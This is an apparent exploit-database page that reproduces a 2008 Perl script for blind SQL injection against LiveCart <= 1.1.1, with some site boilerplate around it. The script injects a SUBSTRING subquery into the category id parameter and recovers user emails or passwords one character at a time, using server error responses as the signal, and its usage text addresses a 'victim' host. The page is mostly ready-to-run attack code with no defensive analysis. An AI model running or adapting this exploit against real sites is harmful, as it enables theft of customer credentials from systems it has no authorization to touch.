Lucene search
K

LiveCart <= 1.1.1 (category id) Blind SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 13 Views

LiveCart Blind SQL Injection Exploit on category i

Code

                                                #!/usr/bin/perl -w
use LWP::UserAgent;
#-----------------------------------------------------------------------------------------------#
# scripts       : livecart Remote Blind Sql Injection						#
# scripts site  : http://www.livecart.com							#
#												#
# Discovered											#
# By 		: irvian									#
# site		: http://irvian.cn								#
# forum		: http://noscan.info/forum							#
# email		: [email protected]								#
#												#
# Thanks To											#
# friend	: str0ke, nyubi, ibnusina, arioo, jipank, ifx, karet, bluespy and all my friend #
#-----------------------------------------------------------------------------------------------#
# sample 	: 										#
# http://demo.livecart.com									#
#-----------------------------------------------------------------------------------------------#
print &#34;\r\n[+]----------------------[+]\r\n&#34;;
print &#34;[+]Blind SQL injection	 [+]\r\n&#34;;
print &#34;[+]Livecart              [+]\r\n&#34;;
print &#34;[+]code by irvian	 [+]\r\n&#34;;
print &#34;[+]irvian[dot]cn 	 [+]\r\n&#34;;
print &#34;[+]----------------------[+]\n\r&#34;;
if (@ARGV &#60; 3){
die &#34;
Cara Mengunakan : perl $0 host option userid

Keterangan
host	: http://victim.com atau victim.com
Option	: pilih 1 untuk mencari email dan pilih 2 untuk mencari password
userid	: Limit
Contoh	: perl $0 http://victim.com 1 1
\n&#34;;}


$url = $ARGV[0];
$option = $ARGV[1];
$id = $ARGV[2];

if ($option eq 1){
syswrite(STDOUT, &#34;email: &#34;, 7);}
elsif ($option eq 2){
syswrite(STDOUT, &#34;password: &#34;, 10);}

for($i = 1; $i &#60;= 32; $i++){
 $f = 0;
 $n = 32;
 while(!$f && $n &#60;= 57)
 {
  if(&blind($url, $option, $id, $i, $n, $id)){
  $f = 1;
     syswrite(STDOUT, chr($n), 1);
   }
$n++;
}
if ($f==0){
$n = 97;
 while(!$f && $n &#60;= 122)
 {
  if(&blind($url, $option, $id, $i, $n, $id)){
  $f = 1;
     syswrite(STDOUT, chr($n), 1);
   }
$n++;
}
}
}

print &#34;\n[+]finish Execution Exploit\n&#34;;



sub blind {
my $site = $_[0];
my $op = $_[1];
my $id = $_[2];
my $i = $_[3];
my $n = $_[4];
my $r = $_[5];
if ($op eq 1){$klm = &#34;email&#34;;}
elsif ($op eq 2){$klm = &#34;password&#34;;}
$site =~ s/^http:\/\///;
my $url = &#34;http://&#34;.&#34;$site&#34;.&#34;/category?id=1&#34;.&#34;%20AND%20SUBSTRING((SELECT%20&#34;.&#34;$klm&#34;.&#34;%20FROM%20&#34;.&#34;User&#34;.&#34;%20LIMIT%20&#34;.&#34;$r&#34;.&#34;,1&#34;.&#34;),&#34;.&#34;$i&#34;.&#34;,1)=CHAR(&#34;.&#34;$n&#34;.&#34;)&#34;;
my $browser = &zero($url);

if ($browser !~ /Error Code 500/gi){
	return 1;
}
else {
return 0;
}
}

sub zero($){
my $spy = $_[0];
my $ua = LWP::UserAgent-&#62;new;
$ua-&#62;agent(&#39;Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)&#39;);
my $res =  $ua-&#62;get($spy);
my @r = $res-&#62;content;
$page=&#34;@r&#34;;
return $page;}

# milw0rm.com [2008-04-10]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
13